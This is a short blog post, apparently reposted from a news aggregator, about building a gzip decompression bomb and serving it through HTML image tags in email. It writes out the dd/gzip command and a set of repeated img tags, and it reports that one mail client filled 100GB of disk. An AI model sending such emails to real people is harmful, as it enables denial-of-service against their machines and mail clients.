Image missing.
Fun with gzip bombs and email clients

bundie

created: July 22, 2025, 6:58 p.m. | updated: July 23, 2025, 4:39 a.m.

Lets create a 10MB gzip file which decompresses to 10GB:dd if =/dev/zero bs =1G count =10 | gzip > 10gb.gzThis is called a Gzip bomb, because when it is decompressed, it blows up to a much larger size (~1000 larger). And what about the proxies that some email services have started to use to hide your IP from the sender? Send a html email containing:<img src = "https://YOUR_WEBSITE/10gb.png" >Thunderbird and Gmail’s web proxies, start to fetch the image, but bail out early before finishing fetching the 10MB. Protonmail and iCloud webmail’s proxies seem to fetch the whole 10MB file, but discard it. I sent myself an email with this in the body:<img src = "https://YOUR_HOSTNAME/10gb.png" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=1" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=2" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=3" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=4" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=5" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=6" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=7" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=8" > <img src = "https://YOUR_HOSTNAME/10gb.png?x=9" >In less than a minute after clicking “Load remote content”, Evolution Mail had added 100GB of data to my laptops disk.

1 week, 6 days ago: Hacker News: Front Page